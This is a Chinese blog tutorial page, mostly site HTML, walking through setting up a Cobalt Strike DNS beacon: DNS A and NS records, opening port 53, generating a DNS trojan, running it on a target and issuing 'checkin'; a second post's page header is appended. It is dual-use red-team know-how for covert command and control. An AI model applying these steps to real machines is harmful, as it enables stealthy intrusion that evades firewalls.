<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="Cobalt Strike DNS Beacon的使用与原理这一节实验需要有一台公网vps和一个域名">
<meta property="og:type" content="article">
<meta property="og:title" content="Cobalt Strike(三)">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="Cobalt Strike DNS Beacon的使用与原理这一节实验需要有一台公网vps和一个域名">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210531115933586.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210531120351278.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526175044533.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210531120506743.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210531120536410.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210531120623036.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526181524794.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526181617435.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526181844019.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526181935501.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526182137564.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526182646285.png">
<meta property="article:published_time" content="2021-05-26T02:26:21.000Z">
<meta property="article:modified_time" content="2021-05-31T04:06:34.053Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="-Cobalt Strike">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210531115933586.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
Cobalt Strike(三) | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">Cobalt Strike(三)</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-26 10:26:21</span>
<span class="mobile">2021-05-26 10:26:21</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2021-05-31 12:06:34</span>
<span class="mobile">2021-05-31 12:06:34</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/%E6%B8%97%E9%80%8F/">渗透</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/Cobalt-Strike/">-Cobalt Strike</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h2 id="Cobalt-Strike-DNS-Beacon的使用与原理"><a href="#Cobalt-Strike-DNS-Beacon的使用与原理" class="headerlink" title="Cobalt Strike DNS Beacon的使用与原理"></a>Cobalt Strike DNS Beacon的使用与原理</h2><p>这一节实验需要有一台公网vps和一个域名</p>
<span id="more"></span>
<h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><ol>
<li><p>dns木马</p>
<p>dns木马因为隐蔽性较好,在受害者不会开放任何端口可以规避防火墙协议,走的是53端口 (服务器),防火墙不会拦截,缺点响应较慢。</p>
</li>
</ol>
<h3 id="1-部署域名解析"><a href="#1-部署域名解析" class="headerlink" title="1. 部署域名解析"></a>1. 部署域名解析</h3><ol>
<li><p>配置域名解析:需要添加一条A记录和一条NS记录</p>
<ul>
<li><p>A:告诉域名服务器,test.xiao(域名)指向的IP地址是多少</p>
</li>
<li><p>CN:告诉域名服务器,想要知道c1.xiao(域名)的IP就去问test.xiao(域名)</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210531115933586.png" class="" title="image-20210531115933586"></li>
</ul>
<ol start="2">
<li>设置完成后验证一下A记录是否解析成功</li>
</ol>
<p>找一台可以联网的主机输入<code>ping test.xiao(域名)</code>:可以显示IP地址说明解析已经成功了</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210531120351278.png" class="" title="image-20210531120351278">
<ol start="3">
<li>然后在vps开启53端口并监听试试测试CN记录是否解析成功</li>
</ol>
<ul>
<li>开启端口命令</li>
</ul>
<p><code>iptables -I INPUT -p tcp --dport 53 -j ACCEPT</code></p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526175044533.png" class="" title="image-20210526175044533">
<ul>
<li><p>监听端口命令</p>
<p><code>tcpdump -n -i any udp dst port 53</code></p>
<ul>
<li>然后在一台可以联网的主机上执行<code>nslookup c1.xiao(域名)</code>可以看到解析成功</li>
</ul>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210531120506743.png" class="" title="image-20210531120506743"></li>
</ul>
</li>
</ol>
<h3 id="2-新建监听器"><a href="#2-新建监听器" class="headerlink" title="2. 新建监听器"></a>2. 新建监听器</h3><ol>
<li><p>开启cs:HOST输入我们配置好的域名</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210531120536410.png" class="" title="image-20210531120536410">
<ol start="2">
<li>新建一个监听器</li>
</ol>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210531120623036.png" class="" title="image-20210531120623036"></li>
</ol>
<h3 id="3-生成DNS木马"><a href="#3-生成DNS木马" class="headerlink" title="3. 生成DNS木马"></a>3. 生成DNS木马</h3><img lazyload="" src="/images/loading.svg" data-src="/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526181524794.png" class="" title="image-20210526181524794">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526181617435.png" class="" title="image-20210526181617435">
<h3 id="4-上线"><a href="#4-上线" class="headerlink" title="4. 上线"></a>4. 上线</h3><ol>
<li><p>将生成的木马在目标机上执行</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526181844019.png" class="" title="image-20210526181844019">
<ol start="2">
<li>可以看到已经上线</li>
</ol>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526181935501.png" class="" title="image-20210526181935501">
<ol start="3">
<li>在目标机上右键打开beacon窗口输入命令,过一会儿就可以看到主机的详细信息</li>
</ol>
<p><code>checkin</code></p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526182137564.png" class="" title="image-20210526182137564">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/26/Cobalt-Strike-%E4%B8%89/image-20210526182646285.png" class="" title="image-20210526182646285"></li>
</ol>
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> Cobalt Strike(三)</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-26 10:26:21</li>
<li>
<strong>更新于
:</strong> 2021-05-31 12:06:34
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/26/Cobalt-Strike-三/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/Cobalt-Strike/">#-Cobalt Strike</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/28/Cobalt-Strike-%E5%9B%9B/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">Cobalt-Strike-四</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/25/Cobalt-Strike-%E4%BA%8C/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">Cobalt Strike(二)</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">Cobalt Strike(三)</div>
<ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#Cobalt-Strike-DNS-Beacon%E7%9A%84%E4%BD%BF%E7%94%A8%E4%B8%8E%E5%8E%9F%E7%90%86"><span class="nav-text">Cobalt Strike DNS Beacon的使用与原理</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%AE%80%E4%BB%8B"><span class="nav-text">简介</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#1-%E9%83%A8%E7%BD%B2%E5%9F%9F%E5%90%8D%E8%A7%A3%E6%9E%90"><span class="nav-text">1. 部署域名解析</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#2-%E6%96%B0%E5%BB%BA%E7%9B%91%E5%90%AC%E5%99%A8"><span class="nav-text">2. 新建监听器</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#3-%E7%94%9F%E6%88%90DNS%E6%9C%A8%E9%A9%AC"><span class="nav-text">3. 生成DNS木马</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#4-%E4%B8%8A%E7%BA%BF"><span class="nav-text">4. 上线</span></a></li></ol></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/26/Cobalt-Strike-三/index.html | HTML | unknown | 34,252 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/28/cobalt-strike-五/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="Cobalt Strike会话管理测试环境 系统 服务 ip kali teamserver1 192.168.3.51 kali teamserver2 192.168.3.8 win7 target 192.168.3.49 winXP target 192.168.3.52">
<meta property="og:type" content="article">
<meta property="og:title" content="Cobalt-Strike-五">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="Cobalt Strike会话管理测试环境 系统 服务 ip kali teamserver1 192.168.3.51 kali teamserver2 192.168.3.8 win7 target 192.168.3.49 winXP target 192.168.3.52">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210528231421947.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210528231509051.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531150219471.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531150701696.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531150810902.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531150940137.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531152527725.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531152644410.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531152801125.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531152903656.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531170120118.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531170356982.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210531170530899.png">
<meta property="article:published_time" content="2021-05-28T14:50:55.000Z">
<meta property="article:modified_time" content="2021-05-31T13:01:49.320Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="-Cobalt Strike">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/28/Cobalt-Strike-%E4%BA%94/image-20210528231421947.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
Cobalt-Strike-五 | xiaoeryu
</title>
